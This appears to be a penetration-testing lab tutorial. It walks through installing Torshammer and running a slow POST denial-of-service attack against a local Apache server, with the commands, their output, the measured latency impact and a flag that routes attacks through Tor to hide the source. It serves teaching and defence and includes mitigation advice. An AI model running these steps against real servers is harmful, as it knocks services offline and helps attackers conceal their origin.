| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | tor 0.4.9.11-1python2 2.7.18-3apache2 2.4.68-1Torshammer (dotfighter/torshammer) |
| Applies to | Kali Linux |
| Lab environment | Local Apache on 127.0.0.1:80 or DVWA on Kali — pentest lab setup |
| Privilege | Normal user for Torshammer; sudo for tor and apache2 package installs |
| Scope | Clone Torshammer, run slow POST DoS against localhost Apache, measure HTTP latency with curl, and optional Tor routing with -T on authorized remote targets. Does not cover botnets, UDP floods, cloud DDoS mitigation products, or attacks without authorization. |
Torshammer keeps many slow HTTP POST connections open so a web server runs out of worker threads. That is a classic slowloris-style denial of service lab on one Kali host—not a multi-source distributed flood.
This guide installs Tor and Torshammer, attacks local Apache on port 80, and compares curl timing before and during the run. Every command below was captured on Kali Rolling 2026.2 against 127.0.0.1 only.
What is a DDoS attack in ethical hacking?
A denial of service (DoS) attack makes a service unavailable by exhausting bandwidth, sockets, CPU, or application workers. A distributed denial of service (DDoS) attack coordinates many sources—botnets, reflection amplifiers, or cloud instances—so defenses must scale beyond single-IP blocking.
Common strategies include:
- Bandwidth exhaustion — saturate the network pipe with traffic volume
- OS resource exhaustion — fill connection tables, CPU, or memory
- Application exhaustion — tie up web server threads with slow or bogus requests
Torshammer fits the third category. It sends slow POST bodies on many parallel connections. Upstream notes it affects Apache 1.x and 2.x and IIS at roughly 128–256 threads, and is less effective against nginx. Your ethical hacking lab uses it to see how connection limits feel from the attacker side before you study mitigation and detection.
Compare DoS tools on Kali
| Tool | Attack style | Typical target | Notes |
|---|---|---|---|
| Torshammer | Slow HTTP POST (slowloris family) | Apache, IIS | Python 2; optional Tor with -T |
| hping3 | TCP/UDP/ICMP floods | Network stack | Volumetric and probe traffic—not covered here |
| slowhttptest | Slowloris, slow POST, slow read | HTTP servers | Alternative slow HTTP tester |
| LOIC / HOIC | Floods (legacy demos) | HTTP | High legal risk; not used in this lab |
This article focuses on Torshammer because it ships in many course outlines and pairs naturally with a local Apache or DVWA target.
Kali lab setup
Point Torshammer at a web listener you control on loopback. Apache on port 80 is the default on Kali when apache2 is installed; DVWA on the same host is a richer application target once the setup wizard finishes.
Set variables once:
TARGET=127.0.0.1
PORT=80
THREADS=256
TORS_DIR="${HOME}/torshammer"Confirm Apache responds before any attack traffic:
curl -s -o /dev/null -w 'baseline: time=%{time_total}s code=%{http_code}\n' --max-time 3 "http://${TARGET}:${PORT}/"Sample output:
baseline: time=0.001429s code=200Sub-millisecond response on loopback means the listener is healthy. Record that baseline—you compare against it while Torshammer runs.
Install Tor and Torshammer on Kali
Install Tor when you plan to test the -T flag on authorized remote targets. Torshammer itself is cloned from GitHub.
sudo apt updatesudo apt install -y tor python2 git apache2Verify packages:
dpkg-query -W -f='${Package} ${Version}\n' tor python2 apache2Sample output:
apache2 2.4.68-1
python2 2.7.18-3
tor 0.4.9.11-1Clone Torshammer into "${TORS_DIR}":
git clone https://github.com/dotfighter/torshammer.git "${TORS_DIR}"List the Python entry point—upstream uses torshammer.py with two helper modules:
ls -1 "${TORS_DIR}"Sample output:
LICENCE.markdown
README.markdown
socks.py
terminal.py
torshammer.pyVerify Torshammer CLI help
Torshammer requires Python 2. Kali’s default python3 fails with a SyntaxError on legacy print statements.
python2 "${TORS_DIR}/torshammer.py" -hSample output:
./torshammer.py -t <target> [-r <threads> -p <port> -T -h]
-t|--target <Hostname|IP>
-r|--threads <Number of threads> Defaults to 256
-p|--port <Web Server Port> Defaults to 80
-T|--tor Enable anonymising through tor on 127.0.0.1:9050
-h|--help Shows this help
Eg. ./torshammer.py -t 192.168.1.100 -r 256The help banner also notes giving the attack about 20 seconds without Tor (40 with Tor) before you judge whether the site is struggling.
Run a slow POST DoS test with Torshammer
Launch Torshammer against your local Apache listener. Upstream recommends 128–256 threads for Apache 2.x; this lab uses "${THREADS}" at 256. Avoid absurd values such as 50000—they add little on a lab VM and make cleanup harder.
python2 "${TORS_DIR}/torshammer.py" -t "${TARGET}" -p "${PORT}" -r "${THREADS}"Sample output:
/*
* Target: 127.0.0.1 Port: 80
* Threads: 256 Tor: False
* Give 20 seconds without tor or 40 with before checking site
*/
Connected to host...
Posting: t
Connected to host...
Posting: J
Connected to host...
Posting: vRepeated Connected to host... and Posting: lines mean worker threads are holding slow POST connections open. Let the tool run at least 20 seconds before you measure impact.
While Torshammer is still running, time a second curl in another terminal:
curl -s -o /dev/null -w 'under_load: time=%{time_total}s code=%{http_code}\n' --max-time 15 "http://${TARGET}:${PORT}/"Sample output:
under_load: time=13.629044s code=200Apache still returned HTTP 200, but latency jumped from about 0.001 seconds to more than 13 seconds. That delay is what users experience when connection pools fill—browsers may hang even when the server eventually answers.
Stop Torshammer with Ctrl+C in its terminal, then confirm the service recovers:
curl -s -o /dev/null -w 'recovered: time=%{time_total}s code=%{http_code}\n' --max-time 3 "http://${TARGET}:${PORT}/"Sample output:
recovered: time=0.002223s code=200Fast responses again mean Apache released the slow connections after the attack stopped.
Route Torshammer through Tor with -T
The -T flag sends attack traffic through Tor’s SOCKS proxy on 127.0.0.1:9050. That can hide the source IP when testing authorized remote targets. It does not work for loopback labs—Tor cannot deliver traffic back to your own 127.0.0.1.
Start Tor when you need the proxy:
sudo systemctl start torss -tlnp | grep 9050Sample output:
LISTEN 0 4096 127.0.0.1:9050 0.0.0.0:* users:(("tor",pid=556774,fd=6))Against localhost, -T typically fails immediately:
timeout 10 python2 "${TORS_DIR}/torshammer.py" -t "${TARGET}" -p "${PORT}" -r 128 -TSample output:
/*
* Target: 127.0.0.1 Port: 80
* Threads: 128 Tor: True
* Give 20 seconds without tor or 40 with before checking site
*/
Error connecting to host...Use -T only when "${TARGET}" is an authorized remote IP or hostname on your lab network—not loopback. See Install Tor Browser on Kali for broader Tor networking context.
DDoS mitigation basics
Blue teams layer defenses because no single product stops every flood type.
| Layer | Example control | What it addresses |
|---|---|---|
| Network edge | Rate limiting, scrubbing centers, anycast | Volumetric and protocol floods |
| Web server | mod_reqtimeout, connection limits, reverse proxy queues |
Slowloris and slow POST |
| Application | WAF rules, CAPTCHA on heavy forms | Scripted POST abuse |
| Architecture | CDN caching, autoscaling, static failover site | Traffic spikes and failover |
Document latency before and after your lab run when you write reports. Pair this lesson with network reconnaissance so you know which services are exposed before anyone tests resilience.
Torshammer troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
SyntaxError: Missing parentheses in call to 'print' |
Ran with python3 |
Use python2 "${TORS_DIR}/torshammer.py" |
curl: (7) Failed to connect |
Nothing listening on "${PORT}" |
sudo systemctl start apache2 or fix "${PORT}" |
Attack runs but curl stays fast |
Target is nginx or a tiny static server | Test against Apache or DVWA on Kali as upstream intended |
Error connecting to host... with -T |
Tor cannot reach loopback | Drop -T for local labs; use remote authorized target |
| Tor port closed | tor service stopped |
sudo systemctl start tor and recheck 9050 |
| Apache slow after stopping Torshammer | Lingering connections | Wait a few seconds or sudo systemctl restart apache2 in the lab |
References
- Torshammer on GitHub
- Tor Project
- Cloudflare — What is a DDoS attack?
- Apache HTTP Server documentation
Summary
You installed tor, python2, and apache2 on Kali, cloned dotfighter/torshammer, and ran a slow POST denial of service test against local Apache on port 80. Torshammer opened hundreds of sluggish POST connections—Connected to host... and Posting: lines in the terminal—while curl latency on the same host jumped from about one millisecond to more than thirteen seconds under load.
Remember the distinction: one Kali VM running Torshammer demonstrates DoS mechanics at the HTTP layer, not a botnet-scale DDoS. The -T flag routes through Tor for authorized remote targets; it fails against 127.0.0.1 by design. Always run with python2, keep thread counts in the 128–256 range for Apache labs, and stop the tool before you declare a recovery test.
For a full web application target, deploy DVWA on Kali and repeat the same measurements in a browser. For broader lab wiring, start from pentest lab setup and keep denial of service exercises inside isolated host-only networks.

